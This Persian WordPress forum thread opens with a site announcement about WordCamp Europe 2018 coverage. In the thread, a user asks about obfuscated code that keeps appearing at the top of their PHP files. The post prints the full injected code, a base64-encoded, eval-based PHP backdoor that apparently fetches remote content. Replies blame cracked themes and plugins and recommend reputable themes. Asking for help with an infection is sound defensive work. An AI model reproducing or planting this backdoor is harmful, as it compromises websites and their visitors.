• اطلاعیه ها

    • Saeed Fard

      پوشش زنده وردکمپ ۲۰۱۸ اروپا توسط وردپرس پارسی   23/03/97

      اگر کاربر وردپرس هستید حتما تا به حال اسم وردکمپ رو شنیدید، کمپ و دورهمی بزرگ توسعه‌دهنده‌ها و کاربران وردپرس که سالانه در کشورهای مختلف برگزار میشه تحت عنوان وردکمپ هستش که از سمت مراجع اصلی وردپرس حمایت و برگزار می‌شه.   این‌ بار در سال 2018 وردکمپ اروپا در شهر بلگراد کشور صربستان در حال برگزاری هستش، این رویداد طی سه روز 24 تا 26 تیر ماه (June 14-16) برگزار میشه، در این رویداد مصطفی صوفی از وردپرس پارسی و به نمایندگی تمامی کاربران وردپرس فارسی حضور داره. وردپرس پارسی رویداد وردکمپ 2018 اروپا رو به صورت زنده توسط مصطفی پوشش می‌ده و در صورت علاقه‌مندی به این مراسم می‌تونید از طریق وردپرس پارسی دنبالش کنید.در حال حاضر یک روز از این مراسم گذشته که گزارش اون در قسمت پوشش زنده قرار گرفته. برای دنبال کردن مراسم وردکمپ اروپا به صورت لحظه‌ای به صفحه پوشش زنده در قسمت زیر مراجعه کنید. همینطور در آینده منتظر خبر برگزاری اولین وردکمپ در ایران توسط وردپرس‌پارسی باشید. https://wp-parsi.com/wceu-2018

      لینک خبر در وردپرس پارسی : https://wp-parsi.com/wceu-2018-live  
kingblog

کد عجیب

7 پست در این موضوع قرار دارد

سلام

دوستان یه کد عجیب است که خود به خود به اول کدهای یک فایل پی اچ پی اضافه میشه و همه چیز رو به هم میریزه قبلا یه بار اینجوری شده بود که مجبور شدم همه فایلهای پی اچ پی رو جایگزین کنم الان هم دوباره اول برخی فایل های پی اچ پی اضافه میشه

اینم کدش:


<?php /*versio:3.02*/ $GLOBALS["droxyl"]="JNyaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuwCrBZGlzcGxheV9lcnJvcnMdZmVkb3IvcmVzdG9yZV9hZgacUMy4wMghuDdGhhaDFOaWV0aGFpMnphaDZBaHIzoAUHaHR0cDovLwcUPqtSFRUUFMb2ZmDRaHR0cHM6Ly8ySFRUUF9IT1NUKKmdW5pb24xDXvDwbNBc2VsZWN0fsUkVRVUVTVF9VUkkU0NSSVBUX05BTUUUVVFUllfU1RSSU5HYTbOEKPwejQxZGV0ZXJtaW5hdG9yDWrLgeKyIKFLmxvZwzSFRUUF9ZX0FVVEgkieYmFzZTY0X2RlY29kZQOvJdmVyc2lviMQZLQvbwrcLXBocAhlpbKXSFRUUF9FWEVDUEhQxkEwuNb3V0aLb2seSFRUUF9VU0VSX0FHRU5ULAtCxZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxVfSYQePLYmxhYnVlbC5uZXQKXeZmFzdGFkZHouY29tvWPCL3czLnBocD91PQRusiJms9sfSXJnQ9cGhwJnA9JnY9ZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYzdHZvdG9XL3lxN3hFd3dNQWdvb3RQTGpjMGM1MDZUT1czajJKT2N6R2tJd3FaU2VjbEx0T2wzdjJzL0VHeDFjdjRTMTlwN3ZkZHZyUjM0U0x6eXNCL0UyQk1GRHhjNGk0TFlLWkpNNlBkZlVRQnN2NHpkSWtoaUc5ZEJYdVRpRm9lQnYzSlRVWldHc3FiMnlibFpFQWQyam91V09aUTBWZGJWdm95MC92VVpQbHcyWlcwS2ZCWDRiNmpSZ3V5WEVEdXJ3NkV1Vmw0czluRGs1VzR1bzArOW9zelR6UnBaNk83eHg0OCtla1V0SlFyY0xDbUNDSXRGVm1LUWwrR2l6R0xrNDhSdlJMelQ0a1RlM3ZlZTh6Qnp0bUt2VHNzd3JHVFVpL3pVZDU3Qm8xNjBkb3UwQU9HQ1cyYWhjSTE2KzFXMUtuWkE0VHhGc01HdEFsZ2tUTlRGWjNCUmNNSXcyZGx3eWZhVEZNZENIMWtnUlJPSXpkeXdtUitFbUp5MjNTUXVjQXhoRmRaRmtYNFpEQVNrSUc0UCtXSUdLVWo0dExQOFoxZWdidUF3eCtkU3cwM3NVL3NQYnZtU2c3VXpUaFhoYW0rRGd5VEpUM3lBdENRcDhhTG5iZU00ZGs2WXVNWXVzR2I4b3NqRnl1anI0K0xIL2NQU2hoOFovUXZiM1pLWWZsbk85L25OSC9PRmpId0hmUHZ0eWNWOCtiaTRXeTV1N241K0l6ZDR5aTlmK0hwL2R6Zi91bHplL2ptL2YxekthRXdDc1FxTEtIcW00V0Z1Ti9lSUtKSngydzJUSEhlb0pPQTRTb3U5eUM5RG1Gc3hnbkQ5MW1TWFU1dE1rVkpsTlVqVStYbmlia2hkdEZVM1VhSHl0c242c1BGbEdyOXFEeDhHMTluVUx4R3oyU1UxOXBnNmROb1JZTGFmbHFRSW1wWVIvamRmb2xlZWhUZEJJV25JTitqN2N2a3cwQlFWQ1A5ay84VHc4ejNKaXk4SVBsNjVTVytVUWNLVWxmRytURURGdy9jSCsvNm5JZ3dFaFh6K05WLzh2TDIvTzZQME1jZlo1NXRucU9rdm9KemRwL0lhbWJzMTFMNTRkYUhQdVZOOTlPa1RFdC8xTmZyY3N2K0Q5SDRiRUlVRUZ0cXBZNGltVDJpdnpIeWV5Q01NOU9wTkdhUTFPSVhyTkV3OExBcEgrK1JHSkp3clk0SlkvUFF2OWFuRmxTQTZjNCtkb3pyZlRxREdUYjJpMnI2azRjSEp4SjdyMTFYcHdQa0VKM3NYZ3hQWVhTZEkrTnNXRk01VWhDL3d6Zmc4U2FmZ2xWWk9Wbm1GVjIwUEc3RzMzbTdxbWdocXdLVm4vNXd2SUVPL09PdUozTzVWL3JhTWF1dUl3SVlwQVVMckpDQkJtSUd5bGpWU3BaRXUwejRKL04waGRGcVdOcFRNaWF5Yk5JNjBXRG84U2ROMU1oSlk0UVk1alY5alRIdE1oK0ZneUdiL3FSa3hzek9ITkZQU05YSUlYVm5vU0I2UEpYTXFqeWpDdlZjL0dzUE1NV1JONHpuZ0J4UXJMN0lpQVV6RzJWbE4ra2dhVG1WTjc1TU0rMG1HSFhjTmJXZVQ5bkZ5eEpOaS9iZk5HTEVaaEtZRWJSaFJic1daQnN4Rms0eEZLdUlYdi8vVWphRXFqVlVaNHRSQytTVng1bFRTSUZpVDM4bURvSUFUVE40YkdDZGVYUXE5S3VucVNOWU1FbnFDSng4T21KREQ0WkNlb05qNE1Wb1RVeHJxOUFESjhzVWs2NW9oYVJEVjhVVlZtcUZLQmpPRzlHOG5nQ05wb3N0NkgwYklPUU9tSTJta1VzSFg3eG90VGRKVnRVbjNkVlVmUkZJaC9yN0NtOUR5Z2l4MkFFUnMrOXZ0ajdsdDk1VS9iaGN3RWU0WGY0UDRoNXZGRFh4Q1BhZTQydGNIOFBzbXk1eTlpSVNCaDZ0QnZvNmd2WVZCRWFVRHhZZHgvYm1NZzdvbDNYNmRONVRXWEdINTU0UHdkRXFaSDBuenU3KzZKNXEvWU5VSmhWK2dlb2owNDRaUkF2dzRuZzFrRzN3VFlJbmlyaW9DTzNyOHUwcy84dzFqd0M3bEY3Z3VGRDBHM2trTDhJQ1FKa2hXbTJ4ZDhOcS80bk9RRTBtbzJhZGluWTBzMjQ5eWU1Y0ZoYk1DOU8vZVpNYVFyWU1ScjlFSzlHOGFIRzFtS2p0MlRRdWN0a3ZZamxBeURnQjJYaEhiWk1VT2lnRFVqR2daTm90bTAzQzlvS3dTSEZzTlNwd3J0YlpDaWFHSHZFNTJrVFdMUEtOUnJQQ3h5QkZVNFhCSndIRzNyc3VWYTcwclNxVURsanJNZmIydmNMblhINHpYUWIybU05dTVPSXJJNlhPUzcwbThHSzBWcVVOdk10aStBS3BENEJ0VDZwQmxjYjNFc3pSY1IwWGFBc3BRMDBHUVJnWW9HMDU4QnAyT3N1UHhLU0RDR0NCS2JpWkp4OHN4K0RBeHFaOXNBTFc4NFhCSUlIN2NieGFkS25aeHVyYTRPZWNjMEtlcVpJNDVxc0N6QTFkTzJOejdsOFlPSjlMUVVHR0V5QzNrVEdBQ3dITmwyR2NWVWdlRnlJcWx0L0pmRGdleWNIMGpleWxFUDR5Y29DZ0pOdjUrcXVnbVZKNXVrQ2ZReVZocFZvNU9rVTBrZlV3cW9XT1FEaUdkam1RREJoM3R2a081amVMTnU4bkRUSkdQM0N2TG9sYlN2YWdxNHkzYk45bXUrYUZXSVBqR1dCNmZhSjFBVWFyRUZGSm44U3JjMXVRMU1DdEpyN25FNm5PT3FyUldET3JtekNjdER2M045TU55VHBhM1Bpd3hCV3cwekU3K2g0bUhQM1FwUEc1cDdDTGQwR25vclNWc2ZpZVEwSUFKZVVJMWZ0RmlLSkxTWFl0dHB3QmV1bUhwWVR1Qit1alFPeGpRcEJjZWFFUVA3WVdYdUU1ZWprT2dIYkprSnhvVFJ6c1JHMDVneXJFeDEzVGRxUlZFSWdlYVRoZzVpWGpKdG5QVW5YK3FLWTAwZUJ5UG9HZll3VTdhZEEyYVRaTkhSOXhvZVNOaktFMU5zc2g4N0xVeERNM3BoRjVqTFVwMisxV3c4Y2g3OXQxam1FVUFGdDcyUFh6OU1ib01uZm43NWoxMGpVMFkvZ2FETHI2Ty9SL0lEVE5EIikpKTsV"; if (!function_exists('qelifbcp')){function qelifbcp($a, ${$c=$GLOBALS['droxyl'];$d=pack('H*','6261736'.'536345f6465636f6465'); return $d(substr($c, $a, $);};eval(qelifbcp(566,3283));};?>

چه جور ویروسیه و چجوری وارد میشه و چه باید کرد؟

0

به اشتراک گذاری این پست


لینک به پست

قالبتون رایگانه؟

0

به اشتراک گذاری این پست


لینک به پست

بله از قالب کلیشه استفاده میکنم

البته این کد رو بیشتر توی قسمتهای دیگه میبینم مثلا کدهایی که بعنوان ابزار توی یه پوشه دیگه هاستم قرار دادم یا وقتی یه اسکریپت نصب کردم(که مثلا یه اسکریپت نصب میکنم و بعد از مدتی میبینم اید کد اضافه شده و اون فایل رو از کار میندازه)

بعضی از افزونه هام نیز این مشکل رو پیدا کردن

ویرایش شده در توسط kingblog
0

به اشتراک گذاری این پست


لینک به پست

این نوع کدها معمولا از یک اسکریپت یا افزونه یا قالب غیر رایگان که کرک شده و رایگان عرضه می شند کپی می شند و وظایف زیادی می تونند داشته باشند که همشون مخربند اول باید فایل کرک شده را پیدا کنید و از سیستمتون حذفش کنید و بعد کدها را یکی یکی حذف کنید

2

به اشتراک گذاری این پست


لینک به پست

ممنون

در مورد فایل کرک شده کامل تر توضیح بدید یعنی توی قالبم باید دنبال چه فایلی بگردم؟ یا دنبال چه کدی؟

این لینک رو هم خوندم نمیدونم دقیقا باید چیکار کنم

http://stackoverflow.com/questions/19328508/how-do-i-determine-what-this-code-does-and-if-it-might-be-malicious

ویرایش شده در توسط kingblog
0

به اشتراک گذاری این پست


لینک به پست

برای اینکه دوباره این کد وارد فایلهام نشه بهتره چیکار کنم؟

قالب پولی باشه؟ نیاز به افزونه هست؟ ...

0

به اشتراک گذاری این پست


لینک به پست

باسلام

هم می توانید قالب پولی استفاده کنید و هم اینکه از قالب های معتبر استفاده کنید

بهترین قالب های پارسی تو اینجا قرار دارند :

ماندگار وب

3

به اشتراک گذاری این پست


لینک به پست

برای ارسال نظر یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید نظر ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری